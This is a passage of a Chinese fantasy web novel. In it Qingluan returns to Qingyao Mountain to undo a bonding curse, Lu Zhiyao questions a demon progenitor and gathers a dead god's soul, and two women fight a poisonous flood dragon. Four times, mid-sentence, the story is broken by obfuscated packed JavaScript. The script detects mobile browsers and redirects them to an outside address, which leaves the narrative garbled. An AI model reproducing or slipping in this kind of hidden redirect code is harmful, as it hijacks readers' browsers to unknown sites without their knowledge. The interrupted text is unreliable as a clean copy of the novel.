青鸾第一眼见到这个小丫头时便也觉得她乖巧可爱,十分合她眼缘,却没有想到她们之间还有这层渊源。 就好像是在苍茫无所依的天地之间多了一层纽带。 她打量了四周一圈:“朝玦呢?” “我让她进入玉佩之中休息了。”路之遥转首望向身侧仍在缓缓旋转着的庞大生阵:“寻找共生咒的解法是我来东荒的原因之一,我还有别的事要同始祖之息谈一谈。” “这个地方太危险了,其实我本来也不欲朝玦同行。” “你也要进入生阵?”青鸾直觉路之遥要同始祖之息谈的事情与生阵真正镇压着的东西有关:“其实我在生阵中也与始祖之息交谈过,得知帝宣所镇压的另有他物。” 她追问道:“你知不知道那里面到底镇压着什么?” “不知道。”路之遥回答得很快:“这里面到底镇压着什么我并不关心,我与始祖之息要谈的事情也与这无关。” 路之遥否定得太快太决绝,青鸾反而心中生疑。 她若有所思地盯着路之遥:“是么……那你要同始祖之息谈什么?我能不能跟你一起进去听听?” 路之遥拒绝得也很快:“不能。” 随后他提醒青鸾:“你现在最重要的事情是去找帝骁把共生咒解了,然后再谈其他。” 想了想他不放心地补充道:“想必帝宣也告诉你了,要解此咒需当面对施咒者控魂。你控魂的时候千万小心,别被他提前发觉或是在控魂途中挣脱了,否则不待他动手,你首先会遭受反噬。” “控魂时要找准时机一击必中,入侵识海也要速战速决不留余地,你精神力的强大远超所有人的意料,即便下手过重把他变成傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185616|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子也没有关系。” “就像方才对我那样。”路之遥皮笑肉不笑:“可千万不要对他顾念旧情。” 青鸾听着觉得怪怪的。 分明是在关心她,可路之遥的语气说不出的奇怪,听得她直冒冷汗。 “那好吧。”她朝路之遥挥了挥手,转身朝外走:“既然我们都还有未竟之事,那就各自去完成各自的事情吧。” 她顿住脚步,回头看路之遥:“你会一直在这里吗?到时候我去哪里找你?” 路之遥勾起唇角,这回是发自内心的微笑。 他轻声对她道:“来日方长,我会去找你。” 青鸾也冲他笑了笑:“是呀,来日方长,还会有相叙之机。” 说完她凝了神色,转过头飞身离去。 路之遥目送着青鸾离开后,转身迈入生阵。 进入生阵的一瞬间,他的耳畔便响起凄厉的呼啸声,似是气流涌动发出的声音,又似有人正在痛苦哀嚎。 路之遥微一蹙眉,掌间星辰之力流转,这精纯而又霸道的星辰之力掀动了他的衣衫,同时也将那呼啸声镇压。 霎时之间周遭重回清静,始祖之息幽幽现身。 “你来啦……也亏得你来,老子耳根终于能清静清静。” 路之遥冷笑一声:“你与那死气共生这么多年,居然还拿它没有办法?” 始祖之息纠正道:“有一点你要搞清楚,我们并非共生,实际上是我依附它而生。” 路之遥没有理会始祖之息,而是闭目掐诀感受此阵灵力,片刻后他睁眼道:“生阵之息越来越弱,过不了多久便镇不住死气了。” 始祖之息叹了口气附和道:“是呀,到时死气现世,人们遇之便会化为白骨,四海八荒又是一场浩劫啊。” 路之遥啧了一声:“得了吧,你巴不得死气挣脱生阵的束缚,到时它脱阵而出,你也不必再依附于它,可以重获自由。” 始祖之息的声音听着竟有些委屈:“这你可就冤枉我了,我们魔族以人类的欲念恶念为食,到时死气把所有人都杀个一干二净,我岂不是要饿死?自由诚可贵,生命价更高啊。” “死气蔓延四海八荒的速度可没有你魔族始祖之息快。”路之遥不为所动:“恐怕它还没来得及离开大荒,你就已经吸食了足够的力量彻底醒来,苏醒之后的你想要离开这里还不是轻而易举?” 始祖之息沉默了。 这小子确实一直都不好骗。 路之遥继续道:“帝宣设下的这个生阵遏制住了死气的力量,你也是得益于此才能依附死气多年而不被它炼化,这也是你未将此间真相告知青鸾的原因?” “无论如何,我承你这个情。” 始祖之息听到他这样说,瞬间又起了兴致,赶紧道:“所以你此番是来帮我的?” 路之遥唇角一弯:“我自然是可以帮你。” 始祖之息都准备道谢了,忽闻路之遥话锋一转:“但帝骁也是从你这里知晓共生咒的吧?” 143. 芙蓉浦 始祖之息再次沉默。 事情果然没有这么简单。 “行吧,就算我功过相抵吧。”沉默了好一会儿始祖之息认命道:“虽然得益于生阵,我才少了几分被死气炼化的风险,但我必须时刻小心,否则这庞大的生阵也有可能把我碾得粉碎。唉,把我从生阵里救出来需要什么条件,你说吧。” 路之遥早已料到始祖之息会妥协,所以他气定神闲地挑了挑眉道:“不急,在此之前我有一些问题要问你。” 始祖之息咬牙:“你问。” 路之遥直接三连问:“九重天宫跟你有什么交易?天君老儿想做什么?帝骁是如何从你这里得知共生咒的?” 始祖之息的语气里有一种做作的懵懂:“我怎么会跟九重天宫有交易?天君想做什么我就更不知道了……” 路之遥冷笑抬手,拂袖间星辰之力震荡:“劝你别耍花样。” “别冲动别冲动。”始祖之息干笑几声:“我说我说,我说就是了,你这孩子怎么这么沉不住气。” “九重天宫中可是遗留有古神禁制的,这古神禁制会与死气产生感应,因此早在众人知晓我的存在之前,天君便已得知死气的存在了。” 路之遥听得蹙了蹙眉:“天君竟这样早就知道死气的存在?可他秘而不宣,直到魔气外泄实在隐瞒不住才告知世人你已苏醒。” 始祖之息又咬了咬牙:“我这是被他摆了一道,他把四海八荒的仇恨都吸引到我这里来了。除了亲自赶来查探情况,傻乎乎以身设阵的帝宣,还有谁会知道死气的存在?” 路之遥哦了一声:“这般不信任对方,看来你们的联盟不过如此。” 始祖之息继续咬牙:“根本称不上联盟,我们不过是做了桩交易而已。” “天君小儿不知从哪里翻来一本古籍,说是提取人的欲念,可将其炼化为增寿之物。他其实就是寿元将尽,想活得更久一点,可他不知提取欲念之法,只好向我求助。” “作为交换,他答应想办法帮我摆脱死气重获自由。” 路之遥直觉此事与帝骁有脱不了的干系,沉吟片刻后道:“他答应替你想办法……这件事情可是交给帝骁去办了?” 始祖之息第三次沉默,沉默了一会儿后诚恳地道:“不是拍马屁,你是真聪明,这都能猜到?” 确定了这一点之后,路之遥将所有线索梳理了一遍,很快得出答案。 虽然令帝骁闻名于世的是他的剑术,但其实他也精通法阵之术,他对法阵一术的体悟恐怕不在帝宣之下。 因此天君若要与始祖之息做交易,助始祖之息摆脱死气重获自由,那么完成这个任务的不二人选便是武罗神君帝骁。 毕竟死气的来历太过神秘,且它的力量实在邪门,无人知晓对付它的方法,更不能与它硬碰硬,唯一有可能压制住它的便是与它相克的生阵。 帝骁便是从这个时候开始接触始祖之息,也是在这个时候从始祖之息处得到了上古咒律共生咒。 提到这个始祖之息忍不住抱怨:“可帝骁的速度实在是太慢了,直到魔气外泄再也隐瞒不住世人,帝宣都把生阵研究出来了,他居然还没个结果!” “气死我了,本来我就有被死气炼化的危险,虽然生阵跟死气打架让我喘了一口气,但我又多了一重被生阵碾碎的风险,这日子什么时候是个头。” 这回轮到路之遥沉默了。 他犹豫了一下要不要告诉始祖之息事情的真相。 帝骁之所以这么久还没个结果,是因为他根本没在研究生阵。 从一开始他倾尽心力研究的便是专门用来对付始祖之息的伏魔大阵。 当然了,他研究伏魔大阵也只是装装样子做给世人看而已。 生阵再强大也只是一个阵法,并不能如活物般生生不息。死气早晚会吞噬掉生阵中的所有生机,摆脱束缚不过是时间问题,帝骁根本没有打算把时间浪费在这种无用功的事情上。 至于天君即将羽化急于寻找增加寿数的方法,这跟帝骁又有什么关系,甚至他巴不得老天君赶紧升天,为了名正言顺登上天君之位他已经筹划太久了。 所以早在那个时候他便已经开始考虑,一旦死气和魔族始祖之息现世,作为新任天君的他该如何处理。 死气虽然威力惊人,所过之处寸草不生,但它蔓延的速度较为缓慢,而始祖之息一旦脱离死气,便可瞬息之间布满四海八荒,只要有人的地方便能成为始祖之息的寄生之地。 权衡之下帝骁选择以伏魔大阵暂时封印始祖之息,至于死气则放任它继续蔓延。 毕竟世人只知始祖之息而不知死气存在,他只需要如现任天君这般掩人耳目就好,至于百年千年之后死气可能吞噬掉世间所有活物,那便是留给后人解决的问题了。 生前只当及时行乐,哪管死后洪水滔天。 路之遥冷笑一声。 不过这些事情都是后话了,他也是在无数次时空回溯中见到过帝骁的手段,这才能将所有事情的前因后果都串连起来。 他整理了一下已知信息,择重要消息删删减减了一番,把最关键的几点千里传音给青鸾。 第一,天君和帝骁早已知晓东荒魔气真相,且二人与始祖之息互有勾结,共生咒也是帝骁从始祖之息处得来,所以她此番自大荒回去,帝骁很有可能猜出她已寻到共生咒解法,面对帝骁一定要万分小心,速战速决。 第二,九重天宫中设有古神禁制,她的心火可谓无敌于天下,但要小心九重天以古神禁制对付她,如无必要,解开共生咒后立马离开,不要与九重天多做纠缠。 将最要紧的事情做完之后,路之遥才算是稍微放下心来,轻轻舒了口气。 始祖之息问他:“你问我这些问题,就是为了给那丫头提个醒?” 路之遥嗯了一声:“这是主要原因。” 始祖之息又问:“这么放心不下,为什么不干脆跟着她一起回去?” 路之遥比方才放松了许多,也就比方才有耐心了一些,有心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15193966|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情回答始祖之息的问题:“我知她心中有恨,她一定想亲自解决这件事。我只能提供信息帮助她,却不能以庇护之名左右她。” “并且现在我还有一件重要的事情要做。” 语罢他双手结印,指间流转的星辰之力不似方才那般霸道,而是如水一般柔和,轻盈地描摹着他所设下的禁制的形状。 他的眼中似乎也有星子的光正在闪烁,漆黑眼眸中仿佛流淌着璀璨星河。 始祖之息认出这是星域一族独有的凝魂之术,也就明白过来路之遥想要做什么。 “帝宣魂魄刚散,现在的确是凝聚残魂的最佳时机,若是再晚一点,就算是凝魂之术也无法集齐他的魂魄,转世之后他便是三魂七魄不全之人。”始祖之息见到路之遥施法,似有些许动容:“凝魂之术之所以乃逆天改命之术,便是因为常人寿终自可轮回转世,可若是魂飞魄散之人,那是为天道所不容的。” “你强行将不容于天道之人的残魂凝聚起来,助他再世为人,消耗的却是自己的寿数与修为,这值得吗?” 路之遥闭目不言,直到凝聚完帝宣的最后一丝魂魄,他才缓缓道:“她被带到青要山之后,唯一待她好的人便是帝宣。且帝宣不远万里为她寻得共生咒的解法,我这样做便算是替她还了帝宣恩情。” 始祖之息自然知道路之遥口中的她是谁,于是瞬间了悟,了悟之后忍不住感慨:“原来这就是所谓的爱吗……即使她跟另一个男人情深意重你也能默默忍受,甚至还愿意为他无私奉献。” 始祖之息的发言听得路之遥额角一抽。 他皱了皱眉,顺手抹去帝宣魂魄深处与青鸾相处的记忆:“还完这个恩情也就是了却他们之间的羁绊,免得千年万年后他得了什么机缘自己凝魂转世,又跑到她面前瞎晃。” 他想起某个蓝色身影,语声里明显多了些不悦:“保留着与她相关的记忆穿越时空也要来找麻烦的有一个就够了。” 始祖之息一时语噎:“我早该知道你一肚子坏水哪里会这么好心。” 路之遥收了魂魄,冷哼一声:“好了,现在我们可以好好谈一谈救你的条件了。” 始祖之息升起一股不祥的预感:“你想要什么条件……” 路之遥淡淡地道:“你寄生于死气,也算是与它共生,现在从自己身上剥离出一缕死气交给我,这就是我的条件。” 始祖之息吓得灵魂都在颤抖:“这可不能开玩笑啊,且不说我要是触怒了它,它随时都能炼化了我,即便我没有惊动它,活生生剥离死气疼也能把我疼死。” 路之遥不再多说什么,拂袖转身就走。 始祖之息立马滑跪:“别走别走,我剥就是了,只要你能把我救出去,疼死也比被炼化了好!” 路之遥回过身:“那就快一点,你的时间不多。” 他的语气依旧很淡,听不出什么波澜。 但只有他自己知道,向来如无波古井的心房,在等待死气剥离的这一刻,正一点一点加速跳动着。 144. 芙蓉浦 路之遥之所以命始祖之息从身上剥离死气,是因为他此前尝试过,这里的死气他不能直接触碰。 早在死气最初降临于世的时候他便感应到了它的存在。 很难形容他与它之间那种奇妙的感应,类似血脉相连,又似经年宿敌。 他一定要弄清楚这是怎么回事,可前提是他需要更近距离地接触到它。 既然他自己不能直接触碰死气,那便只好让依附于死气存在的始祖之息剥离一缕,他再凭借生阵的威力压制那缕死气,想来便无大碍了。 这一厢路之遥在逼着始祖之息剥离死气,另一厢青鸾正在忙着赶路。 收到路之遥千里传音的时候她刚好抵达甘渊,寻见了遗弃在东荒的古传送阵。 她虽然正在逐渐恢复从前的力量,但尚不能如从前那般瞬移至万里之外。 事不宜迟,若想以最快的时间赶回青要山,便需要借助传送阵的力量。 东荒甘渊最中心有一座庞大的古传送阵,这件事还是帝宣告诉她的。 传送阵也属于法阵之术的一种,帝宣对甘渊的这座古传送阵极感兴趣,曾言它虽然早已被遗弃,但只要天地之间灵气尚存,进入其中的人能以灵力引动古阵,那么它仍然能够将人传送到万里之外。 此刻青鸾就立于这座古阵法跟前,认真地听着路之遥传送给她的重要消息。 短短的几条消息中夹杂着路之遥反反复复的嘱咐:“万不可与帝骁硬碰硬,最好不要与他有任何交流,也尽量避开九重天宫,事成之后立即离开,切记切记。” 听完之后她沉吟许久。 从前路之遥也是这么个谨慎小心千叮咛万嘱咐的性子么?还是说经过帝骁剜心一事后他转了性子,变得唠叨了? 青鸾回忆了一会儿记忆中的师尊,扬起唇笑了笑,抬步准备迈入传送阵中。 便在这时一道凌厉剑气自她身后袭来,她下意识回身去挡。 转身便见剑尖已经直抵面门,在她指尖燃起心火的同时,传送阵中传来一声龙吟。 瞬间狂风乱舞,蛟龙自阵中甩尾,带着腥臭的尾巴直直地朝青鸾而去。 身后劲风袭来,就在青鸾陷入进退两难的境地之时,已经逼至她眼前的剑刃忽然朝上一挑,剑气震荡将那蛟龙巨尾划伤。 受了伤的蛟龙将尾巴往后一缩,随即发出更加愤怒的嘶吼。 青鸾得以喘一口气,她定睛一看,这才发现眼前持剑之人竟是尺素。 尺素从青要山千里迢迢追来大荒,显然是想杀她。 可既然如此,方才又为何救她? 来不及细细思索,阵中蛟龙再次发动攻击,这回它直接离开传送阵,张开血盆大口朝青鸾二人咬来。 两人同时向后跃起,想要与它拉开距离,无奈它速度极快,她们无论怎么闪避都离不开它的攻击范围。 这蛟龙身上的气味腥臭难闻,绿色的液体从铁甲般的鳞片缝隙间流出,那不明液体滴在它自己的巨爪之上,久而久之竟炼成了一种毒气。 最恐怖的是它的身躯虽然庞大,行动起来却十分灵活,对青鸾二人穷追不舍,定要将她们吞入腹中才肯罢休。且在与它缠斗的过程中青鸾发现,它身上不仅仅是那绿色液体和巨爪有毒,甚至每一枚鳞片也都淬成了毒物。 “这条蛟龙并不是真正的龙。”躲闪间青鸾沉声对尺素道:“恐怕是一尾想要借助古传送阵的灵力化龙的蛟,没想到正好被我们碰上了。” “既然它还未成功化龙,那我们倒还有一战之机。若是拖得久了毒气入体,到时候便不好办了。” 说话间她顿住身形,不再继续躲闪,决绝地迎着蛟龙的嘶吼声朝它的方向飞去。 火焰自她的周围燃起,如一朵彼岸花在无间地狱绽放,火红的花瓣在空中舒展,看似柔软无害,却在一瞬间爆裂成刺眼的星火,如流星坠地朝那尾蛟龙而去。 蛟龙仰天长啸,凝出一个半透明的罩将自己护在其中,然而在心火猛烈的攻击下,那保护罩脆弱得不堪一击,几个呼吸间便破碎成渣。 青鸾自火光中跃起,俯视着以火焰编织出的牢笼中的困兽,伸出手在空中往下一压,轻轻吐了口气:“绞杀。” 原本逐渐熄灭星星点点的火光在青鸾伸出手的一瞬间再次爆发出耀眼的强光,火绳攀上蛟龙的身躯,将它死死困在原地,听见青鸾绞杀的命令后,火焰似活物一般猛地收拢。 巨大的碎裂声响起,那蛟龙的鳞片竟硬生生被火绳绞得粉碎。 尺素持剑立于一旁,目睹着眼前发生的一切。 火焰的光芒倒映在她眼中,刺得她双眼灼痛,禁不住流下眼泪。 那光芒中所蕴含的灵力是那样磅礴,青鸾施术时好似根本不用从天地之间汲取灵力,那些不知从何处而来的火焰在燃烧之时会自动释放灵力。 它似乎只是以单纯的灵力威压撕破了蛟龙的鳞甲。 下一瞬尺素反应过来,原来这就是传说中的心火。 强光逼得尺素闭上眼睛,但就在她闭眼的一瞬间,蛟龙竟脱壳而出,将甘渊的水搅动出巨大的漩涡,漩涡的引力顷刻间将尺素拽入了水底。 青鸾一怔,没想到这恶蛟竟还有这样的本事,在鳞甲尽碎的同时玩了一手金蝉脱壳。 这蛟龙想是极为记仇,只因她二人惊动了蛰伏在传送阵中吸食灵气的它,它便一定要置她们于死地。 眼见着自己不是青鸾的对手,它便将目标放到了尺素身上。 青鸾凝望着黑色的水流,犹豫一瞬,燃起心火朝水下而去。 没了鳞甲的蛟龙体型比方才小了一圈,它的尾巴缠绕在尺素身上,正拖拽着她不断地往下坠落。 甘渊之水在四海八荒比较特别,坠入甘渊的人并不会感到窒息,无论在水下待了多久也不会溺毙。 正因如此那恶蛟才会用尾巴缠绕住尺素。 它想要一点一点地勒死她。 被迫朝水下坠落的尺素睁大了眼,她眼睁睁看着自己被拖入无底的深渊。 甘渊之水为黑,越往下她的视线便越不清楚,黑色的水淹没了她的口鼻,偏偏她迟迟无法昏迷,只能清晰地感受着肋骨被挤压的痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199417|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦。 但最令她感到绝望的还是周遭暗无天日的黑。 在最为纯粹的黑暗中,身上的每一丝疼痛都会被放大数倍,她本来可以忍受疼痛,却无法忍受在漫无边际的黑暗里逐渐等待死亡降临的绝望。 就在她快要被这绝望击垮之时,一道火焰撕破了眼前的黑暗。 方才在她看来无比刺眼的火光,此刻却是为她带来了希望。 深空一般的黑暗被撕开了一条口子,犹如天光乍泄,霎时间心火的光铺满了整座甘渊。 尺素没有想到青鸾的心火竟能迸发出这样强大的力量。 缠绕在她身上的蛟龙显然也没有想到,在灵气日渐枯竭的大荒还能碰上这样的硬茬儿。 它松了尺素转身想要朝甘渊更深处逃,可惜为时已晚,火焰无惧湍急水流,在水中以更轻盈的姿态舒展,瞬间笼罩住它,然后在甘渊深处炸开一朵巨大的烟花。 心火爆裂产生的气流将尺素向外推去,她与无数个漩涡擦肩而过,惊心动魄之际,一只手攥紧了她的手,稳稳地牵着她朝外面游去。 尺素抬头去看,只看见青鸾的背影。 她的长发如水草一般在水中散开,看起来柔弱无骨,却又是根根分明。 此刻的她像极了掌控这片水域的神祇,火焰身侧不熄,光芒如影随形。 尺素目光微滞,忽然觉得眼前的青鸾无比陌生。 这还是那个倚靠武罗神君才能在青要山生存下来的小妖青鸾么? 为什么此刻来自她身上的威压竟然不弱于帝骁? 尺素就这样恍恍惚惚地被青鸾带离了水面。 危机已解,甘渊重回平静。 青鸾施术烘干了自己身上的衣物,一边挽发一边侧首注视着尺素。 她的目光平静没有波澜,看起来完全没有因为对方的追杀而不悦。 打量了尺素片刻,她歪着脑袋问她:“你是来杀我的?” 尺素怔了一下,然后点头。 青鸾继续问:“那你现在还想杀我吗?” 尺素似有犹豫,咬了咬唇,过了好一会儿才摇摇头,艰难地道:“但是我刚才发现我已经打不过你了。” 青鸾微微一怔,然后噗嗤笑出声来。 “你为什么想要杀我?”青鸾想了想:“是因为帝骁吗?” 尺素不说话了。 她拒绝回答这个问题。 “除了因为帝骁,我想不出别的理由。”青鸾挑了挑眉:“既然想要杀我,方才又为何救我?” 这个问题倒是可以回答,尺素直视着青鸾的眼睛道:“因为我想要亲手杀了你,不想让你死于旁人之手。” 青鸾点了点头,然后转过身头也不回地继续朝古传送阵走去:“不管因为什么,你方才的确救了我,不过我刚才也救了你,我们扯平了。” “你若是还想杀我,大可以继续动手。” 却闻尺素在她身后道:“其实以你的实力,方才即便我不救你,那条蛟也未必能奈何得了你。无论如何你于我有救命之恩,将来我定倾力回报。” 145. 芙蓉浦 尺素话音落地的下一秒青鸾就顿住步子转过头来,冲她眨了眨眼睛:“若是如此,不必等到将来,你现在就可以回报一下我。” 尺素一愣:“什么?” “你是帝骁亲卫之一,知晓他的行踪想必不难。”青鸾开门见山道:“我来到甘渊寻这古传送阵,为的就是尽快回到青要山同帝骁做一个了结。” “你只需要告诉我,他何时在青要山中,何时闭关何时休息,其余的都不必操心,我自会潜入青要山中。对了,届时劳烦你为我做个掩护。” “你要同神君做一个了结?”尺素听得云里雾里:“做什么了结?” “你放心,我不是去刺杀他的。”青鸾安抚她:“我答应你,待此事了结,我会永远离开青要山,再也不会出现在帝骁面前。” 青鸾的这个提议尺素没有理由拒绝,虽然不知青鸾到底要同帝骁做什么了结,但尺素相信她不会欺骗自己。 “那好,那我们就一起回青要山。”尺素抬步随青鸾一起往传送阵走去,一边走一边向青鸾透露帝骁近况:“神君最近状态很不好,在我离开青要山的时候他便终日酗酒,不知这几日好些没有。” “酗酒?”青鸾的第一反应是他一定遇到了什么大事,才会让向来沉重自持的帝骁终日酗酒。 第二反应便是既然都酗酒了那他平时应当醉得不轻,醉得不轻那就定然会神思恍惚,神思恍惚之际便是她下手的最佳时机。 在这种时候施展控魂之术简直不要太容易。 与尺素一起进入传送阵后,她打了个响指:“那就这么定了,等下你先回青要山探探情况,倘若帝骁睡了那便传音给我,然后掩护我进他寝殿。” 尺素神情凝重地点了点头。 青鸾是很清楚帝骁酒量的,他轻易不会醉,除非他把自个儿浸在了酒缸子里。 因此她也明白机会是需要等的,虽然解除共生咒一事很紧急,但急也没有用,不到万无一失,她不会轻易动手。 送走尺素之后她盘腿在传送阵中坐下,正欲凝神调息,却闻尺素传音:“听怀沙说,神君前些日子醉酒伤身,闭关了好几日才出来,如今他就宿在殿中。” 青鸾猛地睁开眼。 机会就这样来了? 她迅速站起身来,毫不犹豫启动法阵瞬移到了青要山中。 尺素在山脚接应她,待她现身后递给她一个斗篷,示意她随自己一起上山。 许久未回青要山,山中的一草一木都是如此熟悉,青鸾一步一步地朝帝骁寝殿走去,心情逐渐变得复杂。 她急于摆脱帝骁不假,但是在青要山中生活的点点滴滴也同样不是作假。 这一具身体最开始有记忆时她便生活在这座终年葱郁的山中,此刻所行的路帝骁曾无数次牵着她的手一起走过。 只因那时她初初化形还不会用双腿走路,帝骁便牵着她不厌其烦地在山中学步。 他虽然从来都不苟言笑,但是在面对她时似乎总是有无穷无尽的耐心。 行至寝殿门口时山中下起了小雨,青鸾停下脚步,伸手接住雨滴。 青要山中多雨,这也是山里灵植丰富的原因之一,那雨娟秀缠绵,如针脚细线,又似水中浣纱,总是轻盈柔软。 青鸾一直都很喜欢青要山中的雨。 每次落雨时她都喜欢搬把椅子坐在屋檐下,抬着头望着雨丝,一望便是一整天。 帝骁有时候也会来陪她一起赏雨,他安静地坐在她身边,也不说话,便只是那样静静地坐着。 那样的时光其实静谧而又美好。 将手收回袖间,青鸾攥紧了拳。 这山中的一草一木,与帝骁相处的一点一滴,她怎么可能毫无感情。 但也正因她热爱着青要山的一切,正因她直到此刻仍在怀念曾与帝骁一起在山中赏雨的日子,正因她心中有爱,才会对帝骁生出深可入骨的恨。 对于她来说,美好的一切被撕碎了并不可怕,但若是那美好的一切从一开始都是虚假的别有用心的,那才是最可怕的。 记忆有多温馨,现实就有多冰冷。 青鸾整理了一下思绪,闭上眼轻轻吸了口气,对尺素道:“劳你守在门口,谁来都不许进,我很快就会出来。” 说完她推开寝殿的门,毫不犹豫地朝寝殿内走去。 殿中烛火昏暗,重重帘幕都被放下,将屋外的月光层层隔绝。 青鸾悄无声息穿过重重叠叠的轻纱,缓步来到帝骁床前,垂首望向躺在床上的人。 果如尺素所言,帝骁正在殿内沉睡,看来他前段时间果然伤了身子,一向警觉连在梦中也不肯放松的人,此刻却是睡得很深。 即便沉睡着,他仍然微微地蹙着眉,脸色苍白,似是被梦魇缠身,却又迟迟无法醒来。 青鸾注视着他思索片刻,谨慎地判断着自己此时是否能够乘虚而入,最后还是决定稳妥一点先探探他的识海再说。 她闭上眼释放出自己的精神游丝,以心火为掩护小心翼翼潜入帝骁识海,却没想到他从来雾蒙蒙一片的识海今日似乎有些许光亮,从前如铜墙铁壁般防御着外界精神力侵袭的识海甚至裂开了一条条细缝。 她从来不曾窥见过帝骁识海中的记忆,也从来不曾如此刻这般在他的识海中真切地感受着他的情绪。 向来被他克制在识海深处的情绪似是暴风雨来临前的海面,看似风平浪静,却早已在裂缝之下汹涌澎湃。 青鸾的精神游丝瞬间捕捉到他情绪的波动,便在她怔神的一瞬间,帝骁的记忆如潮水般向她涌来。 她几乎是不受控制地被动接受了那些记忆,从前令她万分好奇的识海向她敞开,她曾无数次尝试窥探帝骁的记忆,却在此刻发现那些被他藏于识海深处的记忆几乎全都与她有关。 精神游丝穿针引线将两人共同经历过的时光在青鸾脑海中唤醒,她回忆起曾与他相处的点点滴滴,也错愕于他彼时升起的情绪。 她原本以为帝骁应当是没有什么情绪的,他该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202553|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九重天上除天君之外最断情绝爱的神仙。 可是此刻在他的识海中,在她精神游丝的触碰下,她竟然感受到他诸般鲜活而又具体的情绪。 也是在此刻她才抛开是与非,真正正视两人相处过的曾经。 这才意识到,原来她也曾为他奋不顾身过。 帝骁识海中光芒最盛的是他曾经执行任务时不慎落入邪阵的记忆。 那邪阵当真厉害,饶是帝骁精通阵法之术,也迟迟无法破阵而出。 此阵乃万年前一名邪修所创,布此阵法的口诀倒是简单,之所以难以破阵,乃因此阵需以布阵者自身魂血为引,以燃烧寿元为代价诅咒入阵之人,迷人心智,毁人道心,以此达到灭人修为的目的。 因此阵太过阴毒,且布阵的代价是自身的寿元与魂魄,为的就是不惜一切代价与对方同归于尽,所以它才会被称为千古第一邪阵。 帝骁此番误入此阵,是奉天君之命追捕一名大妖,却没想到那大妖知晓这失传已久的邪阵,使诡计引他入阵,待他意识到自己中计之时,已经来不及了。 彼时帝骁被困在这邪阵中三天三夜。 倘若布阵者并非那拥有千年道行的大妖,他倒有脱困之机,然而那大妖实力太强,以他寿元为代价布下的邪阵也随之变强,被困于阵中的帝骁稍有不慎便有道心破碎之险。 邪阵释放出的烟雾中反反复复出现的是素娆夫人的脸,与她一同出现的还有她怀中的那个婴孩,帝骁不愿承认的弟弟。 他无法施术驱散迷雾,也无法辨清出去的方向。 那迷雾不仅仅在他的周遭出现,还如毒素一般侵入他的脑海。 即便闭上双眼,他仍能时时刻刻见到那个他最不想见到的人。 母亲怀中的弟弟,一出生就夺去了他曾经拥有过的一切的人。 压抑多年的情绪被这邪阵无限放大,他清楚地感受到自己心脏的跳动,那样缓慢而又艰难。 施法护住自己的神识已是他的极限,他已无力再寻破阵之法,倘若此时分心破阵,恐怕那些搅动他情绪的迷雾便会趁虚而入,侵入他的识海让他彻底堕入修罗地狱。 那大妖布下邪阵的地方离青要山并不远,可是在布下此阵的同时他还设下了一个屏蔽之阵,除非是修为高过他的人,否则即便从那邪阵旁经过,也无法感应到阵法的存在。 自然也就无人得知帝骁的下落。 况且帝骁时常外出执行任务,短则几日长则几月不会归来,青要山中的侍从们也不会想到他竟然被一个大妖困在了邪阵之中。 随着时间的推移,邪阵吸收着帝骁各种各样的情绪,力量变得越来越强大。若说三日前帝骁是没有破阵的机会,那么现在他连在原地护住自己的心神都变得无比艰难。 等待着他的要么是道心破碎修为尽毁,要么便是走火入魔身死道消。 可令帝骁没有想到的是,无论经历了多少次危险也不曾祈求过旁人相助的他竟在那一日等来了焦急寻他的青鸾。 146. 芙蓉浦 青鸾的声音在法阵外响起的时候他甚至以为自己出现了幻觉,可是那一声声的呼唤是如此真切,的确就是青鸾的声音。 她怎会出现在这里? 帝骁猛然睁开双眼。 “帝骁,你在里面吗?”青鸾的声音再次在阵外响起:“帝宣教我辨认过屏蔽阵法,我认得出这是屏蔽之阵,你是不是被困在里面了?” 帝骁原本打算开口的,听到她这样说,沉默了好一会儿才道:“我没事。” 